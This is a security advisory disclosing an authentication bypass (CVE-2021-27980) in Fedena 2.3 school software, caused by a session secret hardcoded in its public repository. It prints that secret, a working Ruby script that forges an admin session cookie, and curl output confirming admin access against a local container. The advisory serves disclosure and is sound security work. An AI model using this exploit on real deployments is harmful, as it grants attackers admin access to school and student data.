Advisory

Authentication Bypass – Fedena School Management Software (CVE-2021-27980)

Pentest Ltd have recently been conducting security research into software used by Schools. Fedena version 2.3 was selected as a target in that broader project. This advisory covers one of the issues found, an authentication bypass vulnerability (CVE-2021-27980).

A little bit of background

Authentication is the process whereby the identity of a user is verified. After authentication, a user will be presented with different levels of access in-line with the allocated privileges.

An “Authentication Bypass” means that an unauthorised attacker has gained access to the privileges of a registered system user. The impact of this is dependent on the application, the data it processes, and the privileges achieved.

A generic description of this class of vulnerability is provided in reference 1.

The vulnerability

Fedena 2.3 was vulnerable to an authentication bypass enabling an attacker to attain “admin” level privileges. This was due to the configuration of the “_fedena_session” cookie as specified in the “config/initializers/session_store.rb” file as shown below:

				
					
# Your secret key for verifying cookie session data integrity. 
# If you change this key, all old sessions will become invalid! 
# Make sure the secret is at least 30 characters and all random,  
# no regular words or you'll be exposed to dictionary attacks. 

ActionController::Base.session = { 
  :key         => '_fedena_session', 
  :secret      =>
 '93bd9933128611446605e1d410d003a6643d59c4494a56e538f4bb154284c14f5a56c8ed9e7b1b38593e6f557b1f28d763f0b0093e12ff515dea1107d2e1306b'
}

Line 9 demonstrates that the session secret has been statically set in the public repository. The vulnerable source code was accessible from the URL below:

https://raw.githubusercontent.com/projectfedena/fedena/68a84ac445bf9ad5eb7dd5925388eb788bde9894/config/initializers/session_store.rb

On reviewing the installation instructions (see reference 2) there was no advice given to alter this secret when deploying Fedena.

Reference 3 points to a popular Docker container made by the user “explorer”. Research showed that the same static secret was present when the application was deployed using this container.

Together these observations showed a high likelihood that instances of Fedena would be deployed using the default key as shown.

In the default configuration of Fedena, user sessions are stored client-side. The format of the cookie includes a serialized form of the user’s session and a signature of that data. The signature is generated using the session secret which was shown previously.

When an attacker knows the session secret, they can generate cookies that are valid to the server and therefore authenticate to the application. This technique was described by Jack Singleton as per reference 4.

Pentest modified Jack’s proof of concept as shown below and saved it into the “gen-cookie.rb” script:

				
					
require 'base64' 
require 'openssl' 

key = '93bd9933128611446605e1d410d003a6643d59c4494a56e538f4bb154284c14f5a56c8ed9e7b1b38593e6f557b1f28d763f0b0093e12ff515dea1107d2e1306b' 

cookie_data = { 
 :authorized => true, 
 :authorised => true, 
 :admin => true, 
 :loggedin => true, 
 :user_id => 1 
} 

cookie = Base64.strict_encode64(Marshal.dump(cookie_data)).chomp 
digest = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('SHA1'), key, cookie) 

puts("#{cookie}--#{digest}")

The changes were to add Fedena’s session secret and to add “user_id” with the value “1” into the session object.

To confirm this vulnerability the consultant executed a new instance of the “explorer/fedena:2.3” docker container using the following command:

				
					
docker run -d --name fedena -p 3000:3000 explorer/fedena:2.3 /start-fedena.sh

This started a new instance of Fedena within the container available from localhost on TCP port 3000.

The following shows “curl” being used to issue a request to the home page of Fedena with a cookie crafted using the script shown above:

				
					
* curl -v http://127.0.0.1:3000/ --cookie "_fedena_session=`ruby gen_cookie.rb`" 
* Rebuilt URL to: http://127.0.0.1:3000/ 
*   Trying 127.0.0.1...
* TCP_NODELAY set 
* Connected to 127.0.0.1 (127.0.0.1) port 3000 (#0) 
> GET / HTTP/1.1 
> Host: 127.0.0.1:3000 
> User-Agent: curl/7.58.0 
> Accept: */* 
> Cookie: _fedena_session=BAh7CjoPYXV0aG9yaXplZFQ6D2F1dGhvcmlzZWRUOgphZG1pblQ6DWxvZ2dlZGluVDoMdXNlcl9pZGkG--4ad035443b317dd5fb10d8ae239012e32c0690e8 
>  
< HTTP/1.1 302 Found  
< Connection: Keep-Alive 
< Content-Type: text/html; charset=utf-8 
< Content-Length: 102 
< Date: Tue, 05 May 2020 08:27:54 GMT 
< Location: http://127.0.0.1:3000/user/dashboard 
< Cache-Control: no-cache 
< X-Runtime: 106 
< Server: WEBrick/1.3.1 (Ruby/1.8.7/2011-06-30) 
< Set-Cookie: _fedena_session=BAh7CzoKYWRtaW5UOg9zZXNzaW9uX2lkIiUwZWJjZDMzZWI5NzQxOGExNTg4NjIzYzZmMTVjNjkwMToPYXV0aG9yaXplZFQ6DHVzZXJfaWRpBjoPYXV0aG9yaXNlZFQ6DWxvZ2dlZGluVA%3D%3D--df473647e5a6c24db3e0c61f44bfbf28ab220315; path=/; HttpOnly 
<  
* Connection #0 to host 127.0.0.1 left intact 
<html><body>You are being <a href="http://127.0.0.1:3000/user/dashboard">redirected</a>.</body></html>

The server responded by redirecting to the “/user/dashboard” URL indicating that the user was authenticated. The privileges gained were those of the “admin” user which has the user id of “1”.

It was theoretically possible to alter the number to gain access as any specific user account, but this was not confirmed since the highest level of privileges had already been gained.

Risk analysis
Risk Category: Critical
CVSSv2: 10.0 AV:N/AC:L/Au:N/C:C/I:C/A:C
CVSSv3: 9.8 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Explanation: Exploiting the vulnerability gave an attacker, without any credentials, admin level access to Fedena. The impact was a full loss of confidentiality, integrity and availability of data processed by Fedena. As such the CVSS ratings are appropriate and so is the risk category.